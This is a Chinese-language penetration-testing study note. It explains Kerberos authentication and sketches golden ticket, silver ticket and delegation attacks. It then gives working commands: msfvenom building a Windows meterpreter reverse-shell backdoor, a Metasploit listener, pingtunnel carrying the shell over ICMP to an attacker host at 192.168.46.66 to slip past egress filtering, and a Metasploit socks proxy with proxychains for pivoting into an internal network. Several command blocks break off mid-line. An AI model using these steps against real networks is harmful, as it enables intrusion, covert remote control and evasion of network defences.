内网kerberos协议
CS DNS隧道上线
https://whale3070.github.io/2021/02/05/11-x/#%E5%9F%BA%E7%A1%80
windows三大认证
本地认证
自己登陆自己电脑
网络认证
两台电脑之间要访问资源,可以通过网络认证后进行访问
kerberos 认证
域环境中的认证方式
客户端
服务端
密钥分发中心
密钥分发中心KDC(Key Distribution Center ) ,密钥分发中心一般又分为两部分,分别是
AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用户访问的TGS的TGT(票据授予票据)
TGS(Ticket Granting Server): 票据授予服务器,用来发放整个认证过程以及客户端访问服务端是所系的服务授予票据(Ticket)
三次通信验证机制

第一次:客户端请求AS,传递自己的信息给AS
AS收到请求后,去数据库验证你是否存在,不验证对错,如果存在,AS产生随机的session key,这个key将用于你和TGS的通信
AS会发送两部分信息给你,一部分是TGT,通过KDC自己的密码加密,另一部分通过你的密码加密,如果你的密码是正确的,你可以解密第二部分信息,获取到TGS session key ,如果密码不正确,无法解密,则认证失败,第一部分是TGT你是无法解密的,需要暂时缓存起来。
# 请求信息 1 |
第二次:如果第一部分你已经成功,那你已经获得无法解密的TGT和TGS session key ,请求TGS,
TGS收到信息后,检查数据库中是否包含你请求的http服务名,如果存在,则通过KDC的密码解密TGT,这时,我们就能获取到TGS session key 然后通过TGS session key去解密你传输的第一部分认证器,获取到你的用户名和时间戳,此时TGS在进行验证:
1.对比TGT中的用户名与认证器中的用户 |
TGS随机产生一个HTTP service session key ,同时准备http service ticket(ST)
# 请求信息 3 |
你收到信息后,通过TGS session key 解密,获取了HTTP session key,但是你无法解密ST
第三次:前面两步成功后,以后每次获取http服务,在ticket没有过期,或者无更新的情况下,都可以直接进行这一步,省略前面的两个步骤
# 请求信息 |
服务端收到后,通过自己的密码解压ST(KDC是http服务的密码加密的),这样就能够获取到http servicesession key 解密好之后,进行检查
1.对比ST中的用户名,与认证器中的用户名 |
# 回答信息 |
你通过缓存的http service session key 解密这部分信息,然后验证是否是你想要的服务器发给你的信息,完成验证
黄金票据: 直接跳过AS ,伪造tgt获得st
伪造条件:
1.域名称 (shell net config workstation) |
白银票据: 直接伪造ST,更加隐蔽和难以检测
白银票据伪造条件
1.域名称 |
委派攻击、
在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的。
约束性委派
非约束性委派
基于资源的约束性委派
不出网
今天在学习内网的时候上传后门后遇到了TCP协议不出网的问题
解决方法是利用pingtunnel脚本将TCP流量转换成ICMP 流量从而实现MSF上线
把TCP协议数据封装成ICMP协议数据 隧道技术
具体流程:
**1.**生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe > xd.exe
**2.**MSF启动监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set Ipont 4444
exploit
**3.**Kali开启隧道:
./pingtunnel -type server
**4.**Win开启隧道//将本地3333icmp协议数据转发至66ip的4444流量上(管理员运行)
pingtunnel.exe -type client -l 127.0.0.1:3333 -5 192.168.46.66 -t 192.168.46.66:4444 -tcp 1 -noprint 1 -nolog 1
这样做的目的是通过pingtunnel利用隧道把TCP流量转换成ICMP流量
1、pingtunnle 客户端先将tcp转为了icmp (这一步就已经完成了出网)
2、pingtunnle 服务端将icmp转为tcp
3、pingtunnle 服务端紧接着转发到msf4444端口
这是很简单得出网底层逻辑,这个逻辑可以套用在任何出网技巧
msf生成代理
第一步、使用MSF生成socks代理
攻击者使用的MSF开启代理:
msfconsole |
默认就会在1080端口开放socks4代理
第二步、更改ProxyChains配置文件
vi /etc/proxychains.conf |
第三步、利用外层Web服务器的meterpreter,添加静态路由
sessions 1 //根据自己的实际情况进入session |
第四步、使用代理进行攻击
这里以Nmap举例:
proxychains3 nmap -sT -Pn 10.10.1.12 -p 80 //扫描10.10.1.12的80端口 |
使用火狐打开内网OA页面:
proxychains3 firefox http://10.10.1.12 |






